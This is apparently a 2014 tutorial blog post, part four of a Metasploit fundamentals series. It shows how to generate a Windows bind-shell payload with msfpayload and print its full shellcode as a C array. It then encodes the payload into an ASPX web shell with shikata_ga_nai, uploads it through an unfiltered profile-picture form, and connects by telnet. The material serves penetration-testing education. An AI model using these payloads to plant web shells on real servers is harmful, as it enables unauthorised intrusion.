This is the fourth in a five part series on the fundamentals of Metasploit that I wrote back in 2014. While some of the specifics have changed over time, the series still provides a good overview for the new user of Metasploit.
Links to all of the articles are listed below:
- Part 1: Metasploit Overview and Tools
- Part 2: The Metasploit Console
- Part 3: Pivoting with Metasploit
- Part 4: Metasploit Dynamic Shellcode Generation
- Part 5: Scripting Metasploit
Overview
If you’ve been following this series of articles, by this point you are familiar with the tools that the Metasploit Framework provides, know your way around the Metasploit Consolse, can select, use, and control an exploit, and turn compromised systems into private routers or forwarders at will.
Obviously that’s a good start, but what about those situations in which using a pre-built exploit just won’t work? Say for instance that we’ve found a website on a system that allows us to upload a file, and doesn’t filter that file at all?
Surely there’s a way to generate some shellcode dynamically to do what we want, in the format we want, right? For instance, if we find a web server that uses ASPX and which allows us to upload our personal profile picture, but doesn’t restrict that upload in any way (e.g. lets us upload an ASPX script)? It sure would be cool if the Metasploit Framework had a way for us to create a bind shell (for instance) in ASPX on a specified port for just this purpose, wouldn’t it?
Well, strap into your seat because we’re about to do just that.
The Attack Problem
If you haven’t read the first two articles in this series it is highly recommended that you go back and do so at this time. Before we go any further you need to have an understanding of both the command line tools as well as what payloads are and how they are configured.
Let’s choose a target system to work against. We’ll say that we’ve found a web server on the internal network that we’re pivoting into that’s running web forum software. Maybe this is a development team that just needs a place to share coding techniques or code snippets, or maybe it has been setup to let members of the financial organization talk about their plans for an upcoming team building event.
In any case, the person who set it up made a very usable site and customizable site. They let you specify a personal quote, upload a picture for your profile, and maintain a list of favorite discussions. Since no data that anyone cares to protect is stored here, they didn’t bother spending a lot of time on the security of it either. After all, who would want to learn about things like this? Answer: social engineers, but that’s another set of articles.
After finding this website we might register for an account and look around a bit before noticing this picture upload capability. “Hmm,” we say in our most innocent voice, “what would happen if I upload a plain text file to this trusting server?” As it turns out, the server accepts it and inserts a link to that text file in our profile. Heck, it doesn’t even rename the file. Time to look for a payload.
Recall that this system is on a protected internal network that most likely doesn’t have a route back to our system. We won’t be able to use the reverse TPC shells that we’ve selected previously. Looks like it’s time to find something new for this target. Since we can connect to it by setting up a forward through our compromised system (see part 3 of this series for a refresher on how we did that), why not open up a new listener on that system? Let’s see what we can find.
Selecting A Payload
You might be tempted to just dive into the Metasploit Console and use that to find a payload, but as with all things in the Metasploit Framework there is a faster (albeit slightly less user-friendly) way to do this from the command line, so let’s give that a shot. If we want to get a list of all the payloads that are available in the Metasploit Framework from the command line we can interact directly with that list using the “msfpayload” command. To list the payloads available we can just use the following:
msfpayload -l
That will return a list of every payload available (369 at the time of this article’s writing). Let’s narrow that list down a bit, and assume that during our explorations of the forum site we came across a default server error page that told us the web server was Apache 2.2.14 on Microsoft Windows 2008 R2 32-bit). That tells us that we need a payload for a 32-bit MS Windows system.
root@localhost:~# msfpayload -l | grep windows | grep tcp | grep bind | grep shell windows/shell/bind_ipv6_tcp Listen for a connection over IPv6, Spawn a piped command shell (staged) windows/shell/bind_nonx_tcp Listen for a connection (No NX), Spawn a piped command shell (staged) windows/shell/bind_tcp Listen for a connection, Spawn a piped command shell (staged) windows/shell/bind_tcp_rc4 Listen for a connection, Spawn a piped command shell (staged) windows/shell_bind_tcp Listen for a connection and spawn a command shell windows/shell_bind_tcp_xpfw Disable the Windows ICF, then listen for a connection and spawn a command shell windows/x64/shell/bind_tcp Listen for a connection (Windows x64), Spawn a piped command shell (Windows x64) (staged) windows/x64/shell_bind_tcp Listen for a connection and spawn a command shell (Windows x64)
The 64-bit shells won’t work for us in this case, and we don’t need to
use staging (we’ll cover staging in the Metasploit Proficiency series), so let’s take a look at that shell_bind_tcp payload. The msfpayload command takes the following format:
msfpayload {payload} {variables} {command}
The payload is specified just like we did in the Metasploit Console, so in this case it would be just “windows/shell_bind_tcp” for our selected payload. We don’t need to worry about variables yet, but we do want to pass it a command so we find out more about this payload. All of the commands specify an output format for a payload with one exception: the “S” command gives a summary of a payload. Let’s give that a try now:
root@localhost:~# msfpayload windows/shell_bind_tcp S Name: Windows Command Shell, Bind TCP Inline Module: payload/windows/shell_bind_tcp Platform: Windows Arch: x86 Needs Admin: No Total size: 341 Rank: Normal Provided by: vlad902 <vlad902@gmail.com> sf <stephen_fewer@harmonysecurity.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LPORT 4444 yes The listen port RHOST no The target address Description: Listen for a connection and spawn a command shell
If that output looks familiar, that’s probably because you remember it from this command in the Metasploit Console:
show info
Looking at the payload information we can see that it doesn’t require administrative/root access, is for 32-bit Windows, and will just listen for a connection and spawn a command shell. Perfect! Let’s configure it now.
Configuring Payloads
This part will likely be old hat to you by now. If you noticed the options listed for the payload by our “S” command you probably saw some familiar choices: LPORT and RHOST. LPORT is the port that we want the listener to bind to, and RHOST is the IP address of the target system. In this case, we only really need to specify the LPORT because the payload will pick up the RHOST value from the configuration of the exploit. As mentioned in the second part of this series we also won’t change the default EXITFUNC at this time, so for now we’ll just move foward with the LPORT option only.
To specify an option with msfpayload we just give it the option name and selected value, specified with an equals sign. In this case, let’s set our port to listen on to 34567. We can do so as follows, and we’ll use the “S” option again to see that it is set:
root@localhost:~# msfpayload windows/shell_bind_tcp LPORT=34567 S Name: Windows Command Shell, Bind TCP Inline Module: payload/windows/shell_bind_tcp Platform: Windows Arch: x86 Needs Admin: No Total size: 341 Rank: Normal Provided by: vlad902 <vlad902@gmail.com> sf <stephen_fewer@harmonysecurity.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LPORT 34567 yes The listen port RHOST no The target address Description: Listen for a connection and spawn a command shell
With everything set, let’s generate our payload. We do this by specifying the output format. Some of the options for this are:
- C : Generate C language output
- P : Generate Perl language output
- Y : Generate Ruby language output
- J : Generate Javascript language output
- N : Generate Python languageoutput
If you choose any of these options you’ll be given a buffer (perfect for a custom buffer overflow) that you can use in custom code. In our case, however, we just want to make a ASPX script that will do this for us… which brings us to a unique option: the “R” command generates raw shellcode bytes.
NOTE: You may also notice that there are several options displayed when generating one of the language options that weren’t displayed during the summary listing. These are the Metasploit globals that we explored briefly in part two of this series. Modifying them is beyond the scope of this series of articles, but they will be covered in later ones.
Let’s take a look at what happens when we run two different versions of the same payload. We’ll start with the C code for this shellcode:
root@localhost:~# msfpayload windows/shell_bind_tcp LPORT=34567 C /* * windows/shell_bind_tcp - 341 bytes * http://www.metasploit.com * VERBOSE=false, LPORT=34567, RHOST=, PrependMigrate=false, * EXITFUNC=process, InitialAutoRunScript=, AutoRunScript= */ unsigned char buf[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30" "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff" "x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2" "xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85" "xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3" "x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0d" "x01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58" "x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8b" "x04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xff" "xe0x58x5fx5ax8bx12xebx86x5dx68x33x32x00x00x68" "x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8x90x01" "x00x00x29xc4x54x50x68x29x80x6bx00xffxd5x50x50" "x50x50x40x50x40x50x68xeax0fxdfxe0xffxd5x89xc7" "x31xdbx53x68x02x00x87x07x89xe6x6ax10x56x57x68" "xc2xdbx37x67xffxd5x53x57x68xb7xe9x38xffxffxd5" "x53x53x57x68x74xecx3bxe1xffxd5x57x89xc7x68x75" "x6ex4dx61xffxd5x68x63x6dx64x00x89xe3x57x57x57" "x31xf6x6ax12x59x56xe2xfdx66xc7x44x24x3cx01x01" "x8dx44x24x10xc6x00x44x54x50x56x56x56x46x56x4e" "x56x56x53x56x68x79xccx3fx86xffxd5x89xe0x4ex56" "x46xffx30x68x08x87x1dx60xffxd5xbbxf0xb5xa2x56" "x68xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0x75" "x05xbbx47x13x72x6fx6ax00x53xffxd5";
This is a straightfoward char array named “buf”. Now try the same thing in raw format:
msfpayload windows/shell_bind_tcp LPORT=34567 R {gibberish}
What we are seeing in this case is our shell’s interpretation of the
raw bytes that Metasploit has generated. Why might we want this, you may ask? Because it’s exactly the format that msfencode takes as an input, and that’s how we are going to create our custom ASPX script. We’re going to take a custom payload and encode it to run via ASPX.
Encoding a Payload
We’re almost there. At this point we have raw bytecode for a custom
TCP bind shell that we’ve generated from msfpayload, and we just need to encode it to ASPX. There are a ton of options available for msfencode, but for our purposes we just care about three of these (the architecture, output format, and file to write the result to). The syntax for custom encoding is as follows:
msfencode -a {arch} -o {output_file} -t {output_format}
If you look at the help for msfencode you’ll find a staggering number
of supported output formats, including raw, Ruby, Perl, Python, Bash, C, C#, Java, Python, ASP… and ASPX (seriously, there are about 20 other supported output formats, check the list out for yourself).
So it looks like we have everything we need to start our encoding and convert our raw payload into a weaponized ASPX script that we can upload. To do so, let’s pipe the output from our first command into our encoder and see what we get!
root@localhost:~# msfpayload windows/shell_bind_tcp LPORT=34567 R | msfencode -a x86 -t aspx -o test.aspx [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
You’ll see that our encoding has completed successfully, and in fact if you view the contents of the test.aspx file you’ll see that it’s a fully formed ASPX file that will run just fine. To use iat, all we’d have to do at this point is upload it as our “profile picture” and navigate to that “image” location. At that point the script will run and create a listener on port 34567 (TCP), and we can connect to that system and get a shell… assuming we’ve already set up our forward to that port through our pivot. If you need a refresher on doing that, just go back and check out part three of this series.
NOTE: You may also have also noticed that shikata_ga_nai line. That is Metasploit automatically helping you hide what the code actually does. We’ll cover that in more depth in the Intermediate series.
If that listener was setup in our own subnet, we could establish the connection as easily as this:
telnet 10.10.10.20 34567
Congratulations! You’ve just created and deployed a custom payload!
Summary
In this article we’ve gone through how to find a payload for a given
target, configure that payload, and encode it to match the format required by our target system. You’ll find yourself using this more and more as time goes on… it’s an incredibly useful capability of the Metasploit Framework, and one you’ll find countless uses for. In the final article in this Metasploit Fundamentals series we’re going to look at how we can wrap all of these techniques together using the msfcli and some basic Bash scripting to create our own basic automated tools. One more to go!